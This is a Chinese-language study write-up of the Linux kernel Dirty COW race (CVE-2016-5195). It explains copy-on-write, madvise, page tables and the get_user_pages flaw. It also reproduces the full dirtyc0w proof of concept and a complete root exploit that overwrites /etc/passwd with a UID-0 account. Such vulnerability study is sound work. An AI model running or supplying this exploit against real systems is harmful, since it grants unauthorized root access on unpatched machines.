CVE-2016-5195 学习记录
-
Poc
void *map; int f; struct stat st; char *name; void *madviseThread(void *dont_care) { int c = 0; for(int i = 0; i < 100000000; i++) { /* * You have to race madvise(MADV_DONTNEED) * -> https://access.redhat.com/security/vulnerabilities/2706661 * This is achieved by racing the madvise(MADV_DONTNEED) system call * while having the page of the executable mmapped in memory. */ c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); } void *procselfmemThread(void *arg) { char *str = (char*) arg; /* * You have to write to /proc/self/mem * -> https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 * The in the wild exploit we are aware of doesn't work on Red Hat * Enterprise Linux 5 and 6 out of the box because on one side of * the race it writes to /proc/self/mem, but /proc/self/mem is not * writable on Red Hat Enterprise Linux 5 and 6. */ int f = open("/proc/self/mem", O_RDWR); int c = 0; for(int i = 0; i < 100000000; i++) { // You have to reset the file pointer to the memory position. lseek(f, (uintptr_t) map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); } int main(int argc, char **argv) { // You have to pass two arguments. File and Contents. if (argc < 3) { fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2; // You have to open the file in read only mode. f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1]; /* * You have to use MAP_PRIVATE for copy-on-write mapping. * Create a private copy-on-write mapping. * Updates to the mapping are not visible to other processes mapping the same * file, and are not carried through to the underlying file. * It is unspecified whether changes made to the file after the * mmap() call are visible in the mapped region. */ // You have to open with PROT_READ. map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n",(uintptr_t) map); // You have to do it on two threads. pthread_create(&pth1, NULL, madviseThread, argv[1]); // target_file pthread_create(&pth2, NULL, procselfmemThread, argv[2]); // new_content // You have to wait for the threads to finish. pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
main:
首先以只读的方式打开一个指定的文件,然后将该文件映射到具有只读页的堆上的某个位置。注意这里的 mmap 使用了 MAP_PRIVATE,对应的是 "private copy-on-write mapping"。
关于 copy-on-write(COW): 在一个进程通过 fork 调用创建子进程时,并不会直接将整个父进程地址空间的所有内容都复制一份后再分配给子进程(耗时),而是采用写时复制机制:父进程和子进程共享所有的页框(read-only),只有当任意一方尝试修改某个页框的内容时(触发 page fault),才会为其分配一个新的页框,并将原页框中的内容进行复制。 同样的道理,如果使用 mmap 映射了一个只具有读权限的文件,当尝试向 mmap 映射区域写入内容时,也会触发写时复制机制,将该文件的内容拷贝一份到内存中,此时进程对这块区域的读写操作就不会影响到硬盘上的文件。
这个映射(mapping)对于映射同一文件的其它进程不可见,并且不会传递到基础文件(underlying file)。没有指定在 mmap 调用之后对文件所作的更改在映射区域中是否可见。
这也意味着任何对于映射文件的写入尝试(除了 PROT_READ)都不应该实现打开文件,而是创建文件的副本,然后对其进行修改。这种映射机制对于处理文件非常有用(不需要向后传播任何更改/计算的结果)。
poc 接下来会启动两个线程进行竞争。
madviseThread
这个函数中反复调用 int madvise(void addr, size_t length, int advice),这个函数用于向内核提供关于给定地址范围的建议或指示(?),以便内核可以选择适当的预读和缓存技术。这里提供的参数为 目标映射文件、硬编码长度 0x64 和建议 MADV_DONTNEED(之后不会访问该内存),那么内核就会被允许释放与这片内存相关的任何资源。但我们仍然可以访问这块内存,任何的访问都会导致从基础映射文件或 zero-fill-on-demand 的匿名私有映射更新这块内存。
procselfmemThread
每次循环以读写的权限打开 /proc/self/mem,然后重置文件指针,使其指向映射的目标文件所在的区域,保证每次写入到相同的位置,接着调用 write 进行写入。这里写入的目标文件被标记为了 COW,所以每次都会触发一个内存副本来应用(apply)这些更改。
但在这种竞争下,内核最终会对实际文件进行写操作,而不是为写操作准备的文件副本。
相关的函数调用图大致如下:
│ │ unsigned long start, size_t len_in, int behavior │ ▼ ┌───────┐ │madvise│ └───┬───┘ │ │ vm_area_struct *vma, vm_area_struct **prev, unsigned long start, unsigned long end, int behavior ▼ ┌───────────┐ │madvise_vma│ └───┬───────┘ │ │ vm_area_struct *vma, vm_area_struct **prev, unsigned long start, unsigned long end ▼ ┌────────────────┐ │madvise_dontneed│ └───┬────────────┘ │ │ vm_area_struct *vma, unsigned long start, unsigned long size, zap_details *details ▼ ┌──────────────┐ │zap_page_range│ └───┬──────────┘ │ │ ┌──────────────┐ ┌────────────────┐ ┌──────────────┐ └─►│tlb_gather_mmu├─►│unmap_single_vma├─►│tlb_finish_mmu│--> ... └──────────────┘ └────────────────┘ └──────────────┘
在 madvise 这个 syscall 中,传入的参数被转化为内核可用的 VMA(struct vm_area_struct,进程地址空间或进程线性区),定义并保存了关于正在操作的虚拟内存的信息。然后经过 madvise_vma 中 switch 语句的选择进入 madvise_dontneed,在到达这里时,即使页面是脏的,也没有限制删除页面和释放资源操作。然后会调用 zap_page_range 删除给定范围内的用户页。
static long madvise_dontneed(struct vm_area_struct *vma, struct vm_area_struct **prev, unsigned long start, unsigned long end) { *prev = vma; if (vma->vm_flags & (VM_LOCKED|VM_HUGETLB|VM_PFNMAP)) return -EINVAL; zap_page_range(vma, start, end - start, NULL); return 0; }
-
页表结构
一个漂亮的页表结构图(过去式):
Virtual page number Page offset +------------------------------------------------------+---------------------+ | | | | 20 bits | 12 bits | | | | +-------------------------+----------------------------+------------+--------+ | | +----------------+ | | | | +---------------------------------------+ | | | PTE PPN | | | | +---------------+ | | | | 0x00000 ----> | 0x00000 | | | | | +---------------+ | | | | 0x00001 ----> | DISK | | | | | +---------------+ | | +-------->| 0x00002 ----> | 0x00008 | | | 4kB offset | +---------------+ | | | | | | | | | ... | | | | +---------------+ | | | 0xFFFFF ----> | 0x000FC | | | | +---------------+ | | | | | +---------------+-----------------------+ | | | | | v v +------------------------------------------------------+----------------------+ | | | | 20 bits | 12 bit | | | | +------------------------------------------------------+----------------------+ Physical page number Page offset
但在现在的 64 位地址空间中,linux 内核支持 4 级甚至 5 级页表(分别允许寻址 48 位和 57 位的虚拟地址)
// https://elixir.bootlin.com/linux/v5.17/source/arch/x86/include/asm/page_types.h#L10 /* PAGE_SHIFT determines the page size */ #define PAGE_SHIFT 12 // ----------------------- // https://elixir.bootlin.com/linux/v5.17/source/arch/x86/include/asm/pgtable_64_types.h#L71 /* * PGDIR_SHIFT determines what a top-level page table entry can map */ #define PGDIR_SHIFT 39 #define PTRS_PER_PGD 512 #define MAX_PTRS_PER_P4D 1 #endif /* CONFIG_X86_5LEVEL */ /* * 3rd level page */ #define PUD_SHIFT 30 #define PTRS_PER_PUD 512 /* * PMD_SHIFT determines the size of the area a middle-level * page table can map */ #define PMD_SHIFT 21 #define PTRS_PER_PMD 512 /* * entries per page directory level */ #define PTRS_PER_PTE 512 #define PMD_SIZE (_AC(1, UL) << PMD_SHIFT) #define PMD_MASK (~(PMD_SIZE - 1)) #define PUD_SIZE (_AC(1, UL) << PUD_SHIFT) #define PUD_MASK (~(PUD_SIZE - 1)) #define PGDIR_SIZE (_AC(1, UL) << PGDIR_SHIFT) #define PGDIR_MASK (~(PGDIR_SIZE - 1))
虚拟地址大致就是一组分布在不同表中的偏移量,在默认页面大小为 4KB 的前提下,基于以上的内核源码,每个 PGD、PUD、PMD PTE 表最多包含512个指针(PTRS_PER_XXX),每个指针的大小为 8 字节,这导致每个表占用4 KB (一页)。
一个漂亮的地址的转换如下所示:
┌────────┬────────┬────────┬────────┬────────┬────────┬────────┬────────┐ │63....56│55....48│47....40│39....32│31....24│23....16│15.....8│7......0│ └┬───────┴────────┴┬───────┴─┬──────┴──┬─────┴───┬────┴────┬───┴────────┘ │ │ │ │ │ │ │ │ │ │ │ ▼ │ │ │ │ │ [11:0] Direct translation │ │ │ │ │ │ │ │ │ └─► [20:12] PTE │ │ │ │ │ │ │ └───────────► [29:21] PMD │ │ │ │ │ └─────────────────────► [38:30] PUD │ │ │ └───────────────────────────────► [47:39] PGD │ └─────────────────────────────────────────────────► [63] Reserved Example: Address: 0x0000555555554020 │ │ ▼ 0b0000000000000000010101010101010101010101010101010100000000100000 [ RESERVED ][ PGD ][ PUD ][ PMD ][ PTE ][ OFFSET ] PGD: 010101010 = 170 PUD: 101010101 = 341 PMD: 010101010 = 170 PTE: 101010100 = 340 D-T: 000000100000 = 32 PGD PUD PMD PTE P-MEM ┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐ ┌──────────┐ 0 │ │ ┌───►0 │ │ ┌───►0 │ │ ┌───►0 │ │ ┌──►0 │ │ ├────────┤ │ ├────────┤ │ ├────────┤ │ ├────────┤ │ ├──────────┤ │ │ │ │ │ │ │ │ │ │ │ │ 32 │ Hello_Wo │ ├────────┤ │ ├────────┤ │ ├────────┤ │ ├────────┤ │ ├──────────┤ 170 │ ├──┘ │ │ │ 170 │ ├──┘ │ │ │ │ rld!0000 │ ├────────┤ ├────────┤ │ ├────────┤ ├────────┤ │ ├──────────┤ │ │ 341 │ ├──┘ │ │ 340 │ ├──┘ │ │ ├────────┤ ├────────┤ ├────────┤ ├────────┤ ├──────────┤ 512 │ │ 512 │ │ 512 │ │ 512 │ │ 4096 │ │ └────────┘ └────────┘ └────────┘ └────────┘ └──────────┘
此外,还需要解释一下 TLB( Translation Look aside Buffer) 的原理,TLB 充当页面的硬件缓存,不缓存任何内容,只缓存物理虚拟内存之间的映射。TLB 位于 CPU 和第一个页表之间。
+----------+ +----------+ +----------+ | | | | | | | | Virtual Addr. | | Miss | | Invalid | CPU +-------+------->| TLB +-------------------->| PAGE +---------> Exception | | | | | | | | | | | | | TABLES | +----------+ | +----+-----+ | | ^ | | | | | | |Hit | | | | | | | | | | | | | | | | | | | | | | | | | +------+---+ | | | | Hit | | +-------------+--------------------+ | | | | | Phys page | number | | | +----------+ | | | | | |DATA | | | | | | | | | | | v | PHYSICAL | | | +---+ | | | | Offset | | Phys. | MEMORY | | +------------------------>| + +---------->| | | | | Addr. | | | +---+ | | | | | | | | | | | | +----+-----+ | DATA | +--------------------------------------------------------------+
关于为什么能加速不做详细解释,但综上可以得出的结论是,内存访问不是直接的,而是通过某种形式间接访问,当不再需要内存时,相应的页表条目也必须更新(zap_page_range 的处理)。
-
漏洞原理
当使用 write 调用向 /proc/self/mem 写入内容时,内核会调用 get_user_pages(最终调用 __get_user_pages)根据虚拟地址区寻找对应的物理地址,函数内部调用 follow_page_mask 来寻找页描述符。
get_user_pages() __get_user_pages_locked() __get_user_pages() // 获取对应的用户进程的内存页 follow_page_mask() // 调内存页的核心函数 faultin_page() // 解决缺页异常
第一次获取页表项会因为缺页而失败(此时 follow_page_mask 返回 NULL),之后会调用 faultin_page 进而调用 handle_mm_fault 来获取一个页框并将映射放到页表中,但此时没有对该页的写权限。
faultin_page handle_mm_fault __handle_mm_fault handle_pte_fault do_fault <- pte is not present do_cow_fault <- FAULT_FLAG_WRITE alloc_set_pte maybe_mkwrite(pte_mkdirty(entry), vma) <- mark the page dirty but keep it RO
第二次获取页表项,通过 follow_page_mask 获取页表符,因为获取到的页表项指向的是一个只读的映射,所有这次获取也会失败(follow_page_mask 返回 NULL)。此时 faultin_page() 会清楚 foll_flags 的 FOLL_WRITE 标志位。
faultin_page handle_mm_fault __handle_mm_fault handle_pte_fault FAULT_FLAG_WRITE && !pte_write do_wp_page PageAnon() <- this is CoWed page already reuse_swap_page <- page is exclusively ours wp_page_reuse maybe_mkwrite <- dirty but RO again ret = VM_FAULT_WRITE ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) <- we drop FOLL_WRITE
然后回到 __get_user_pages() 的 retry 标签,第三次获取页表项,调用 follow_page_mask 并且不再要求页表项所指向的内存映射具有可写的权限(FOLL_WRITE 已被清除),此时可以成功获取,获取成功后会对这个只读的内存进行强制写入(写入 /proc/self/mem 本身就是一个无视映射权限的强行写入)。
cond_resched -> different thread will now unmap via madvise follow_page_mask !pte_present && pte_none faultin_page handle_mm_fault __handle_mm_fault handle_pte_fault do_fault <- pte is not present do_read_fault <- this is a read fault and we will get pagecache page!
如果此时虚拟内存是 VM_SHARE 的映射,那么 mmap 能映射成功的条件就是当前进程对该文件有可写全写,写了页不是越权。
而如果此时虚拟内存是 VM_PRIVATE 映射,那么缺页的时候内核就会触发 COW 机制产生一个副本进行写入,不会同步到文件。
但是,如果在竞争的情况下,在第二次获取页表项失败后,另一个线程调用了 madvice(addr,addrlen, MADV_DONTNEED), 将一个只读文件的 VM_PRIVATE 的只读内存映射的页表项置空。此时第三次 调用 follow_page_mask 尝试获取内存页的时候就会失败,再次触发缺页异常,然后进入到 faultin_page() 流程中获取原内存页。
而此时 foll_flags 的 FOLL_WRITE 标志已经在第二次获取内存页的时候被清除,所以在缺页处理的时候,内核也不会再次执行 COW 操作产生一个副本以供写入。所以缺页处理完成后,在内核第四次调用 follow_page_mask 获取这块内存的页表项的时候,就可以成功获取,之后强制写入的内容也会同步到映射的只读文件中,从而导致了只读文件的越权写。
-
提权
// exploit by arttnba3 // gcc dirty.c -o dirty -static -lpthread -lcrypt #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h> #include <crypt.h> struct stat passwd_st; void * map; char *fake_user; int fake_user_length; pthread_t write_thread, madvise_thread; struct Userinfo { char *username; char *hash; int user_id; int group_id; char *info; char *home_dir; char *shell; }hacker = { .user_id = 0, .group_id = 0, .info = "a3pwn", .home_dir = "/root", .shell = "/bin/bash", }; void * madviseThread(void * argv); void * writeThread(void * argv); int main(int argc, char ** argv) { int passwd_fd; if (argc < 3) { puts("usage: ./dirty username password"); puts("do not forget to make a backup for the /etc/passwd by yourself"); return 0; } hacker.username = argv[1]; hacker.hash = crypt(argv[2], argv[1]); fake_user_length = snprintf(NULL, 0, "%s:%s:%d:%d:%s:%s:%s\n", hacker.username, hacker.hash, hacker.user_id, hacker.group_id, hacker.info, hacker.home_dir, hacker.shell); fake_user = (char * ) malloc(fake_user_length + 0x10); sprintf(fake_user, "%s:%s:%d:%d:%s:%s:%s\n", hacker.username, hacker.hash, hacker.user_id, hacker.group_id, hacker.info, hacker.home_dir, hacker.shell); passwd_fd = open("/etc/passwd", O_RDONLY); printf("fd of /etc/passwd: %d\n", passwd_fd); fstat(passwd_fd, &passwd_st); // get /etc/passwd file length map = mmap(NULL, passwd_st.st_size, PROT_READ, MAP_PRIVATE, passwd_fd, 0); pthread_create(&madvise_thread, NULL, madviseThread, NULL); pthread_create(&write_thread, NULL, writeThread, NULL); pthread_join(madvise_thread, NULL); pthread_join(write_thread, NULL); return 0; } void * writeThread(void * argv) { int mm_fd = open("/proc/self/mem", O_RDWR); printf("fd of mem: %d\n", mm_fd); for (int i = 0; i < 0x10000; i++) { lseek(mm_fd, (off_t) map, SEEK_SET); write(mm_fd, fake_user, fake_user_length); } return NULL; } void * madviseThread(void * argv) { for (int i = 0; i < 0x10000; i++){ madvise(map, 0x100, MADV_DONTNEED); } return NULL; }
-
漏洞修复
引入一个新标记 FOLL_COW,表明已经完成 COW,并且页表已经成功更新。
-
参考文献